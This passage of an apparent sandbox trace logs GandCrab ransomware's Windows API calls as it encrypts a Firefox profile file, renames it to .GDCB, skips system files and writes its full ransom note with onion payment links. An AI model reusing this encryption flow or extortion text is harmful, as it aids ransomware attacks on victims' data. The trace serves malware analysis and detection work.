dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.635] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0055.637] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd1c8) returned 1 [0055.637] CryptGetKeyParam (in: hKey=0x5dd1c8, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.637] CryptEncrypt (in: hKey=0x5dd1c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0055.637] GetLastError () returned 0x0 [0055.637] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.637] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0055.639] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd208) returned 1 [0055.639] CryptGetKeyParam (in: hKey=0x5dd208, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.639] CryptEncrypt (in: hKey=0x5dd208, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0055.640] GetLastError () returned 0x0 [0055.640] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.640] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\formhistory.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.640] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.640] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.641] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x30000, lpOverlapped=0x0) returned 1 [0055.652] VirtualAlloc (lpAddress=0x0, dwSize=0x30000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.654] VirtualAlloc (lpAddress=0x0, dwSize=0x30000, flAllocationType=0x3000, flProtect=0x4) returned 0x29e0000 [0055.657] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.658] SetFilePointer (in: hFile=0x504, lDistanceToMove=-196608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.658] WriteFile (in: hFile=0x504, lpBuffer=0x29e0000*, nNumberOfBytesToWrite=0x30000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29e0000*, lpNumberOfBytesWritten=0x285e820*=0x30000, lpOverlapped=0x0) returned 1 [0055.658] VirtualFree (lpAddress=0x29e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.659] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.662] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.662] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.662] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0055.663] CloseHandle (hObject=0x504) returned 1 [0055.665] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.665] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.666] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.666] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\formhistory.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\formhistory.sqlite.gdcb")) returned 1 [0055.666] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.667] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.667] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.667] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.667] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.667] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\GDCB-DECRYPT.txt" [0055.667] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.667] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\GDCB-DECRYPT.txt") returned 96 [0055.667] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\GDCB-DECRYPT.txt") returned 96 [0055.667] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\GDCB-DECRYPT.txt") returned 96 [0055.667] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\GDCB-DECRYPT.txt") returned 96 [0055.667] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.667] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.667] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.667] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.667] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.667] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.667] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.667] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.667] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.668] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.668] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.668] lstrcmpW (lpString1="gmp", lpString2=".") returned 1 [0055.668] lstrcmpW (lpString1="gmp", lpString2="..") returned 1 [0055.668] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="gmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp" [0055.668] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\" [0055.668] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.668] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.668] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.668] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.668] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.668] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.668] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\") returned 84 [0055.668] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\*" [0055.668] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5dd048 [0055.670] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.670] FindNextFileW (in: hFindFile=0x5dd048, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0055.670] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.670] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.670] FindNextFileW (in: hFindFile=0x5dd048, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0055.670] lstrcmpW (lpString1="WINNT_x86-msvc", lpString2=".") returned 1 [0055.670] lstrcmpW (lpString1="WINNT_x86-msvc", lpString2="..") returned 1 [0055.670] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\", lpString2="WINNT_x86-msvc" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc" [0055.670] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc") returned 98 [0055.670] lstrcmpW (lpString1=".default\\gmp\\WINNT_x86-msvc", lpString2=".sql") returned -1 [0055.670] FindNextFileW (in: hFindFile=0x5dd048, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0055.670] FindClose (in: hFindFile=0x5dd048 | out: hFindFile=0x5dd048) returned 1 [0055.670] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.670] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\\\GDCB-DECRYPT.txt") returned 101 [0055.670] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.671] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.671] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0055.671] CloseHandle (hObject=0x504) returned 1 [0055.671] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.672] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\") returned 84 [0055.672] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\*" [0055.672] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5dd088 [0055.672] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.672] FindNextFileW (in: hFindFile=0x5dd088, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.672] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.672] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.672] FindNextFileW (in: hFindFile=0x5dd088, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.672] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.672] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.672] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\GDCB-DECRYPT.txt" [0055.672] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.672] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\GDCB-DECRYPT.txt") returned 100 [0055.672] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\GDCB-DECRYPT.txt") returned 100 [0055.672] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\GDCB-DECRYPT.txt") returned 100 [0055.672] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\GDCB-DECRYPT.txt") returned 100 [0055.672] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.672] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.672] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.672] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.672] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.672] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.672] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.672] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.672] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.672] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.673] FindNextFileW (in: hFindFile=0x5dd088, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.673] lstrcmpW (lpString1="WINNT_x86-msvc", lpString2=".") returned 1 [0055.673] lstrcmpW (lpString1="WINNT_x86-msvc", lpString2="..") returned 1 [0055.673] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\", lpString2="WINNT_x86-msvc" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc" [0055.673] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\" [0055.673] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.673] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.673] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\") returned 99 [0055.673] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\*" [0055.673] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5dd288 [0055.673] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.673] FindNextFileW (in: hFindFile=0x5dd288, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0055.674] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.674] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.674] FindNextFileW (in: hFindFile=0x5dd288, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0055.674] FindClose (in: hFindFile=0x5dd288 | out: hFindFile=0x5dd288) returned 1 [0055.674] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.674] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\\\GDCB-DECRYPT.txt") returned 116 [0055.674] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp\\winnt_x86-msvc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0055.675] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.675] WriteFile (in: hFile=0x508, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e354, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e354*=0xad6, lpOverlapped=0x0) returned 1 [0055.676] CloseHandle (hObject=0x508) returned 1 [0055.676] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.676] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\") returned 99 [0055.676] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\*" [0055.676] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5dd048 [0055.676] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.676] FindNextFileW (in: hFindFile=0x5dd048, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.676] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.676] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.676] FindNextFileW (in: hFindFile=0x5dd048, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.676] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.676] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.676] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\GDCB-DECRYPT.txt") 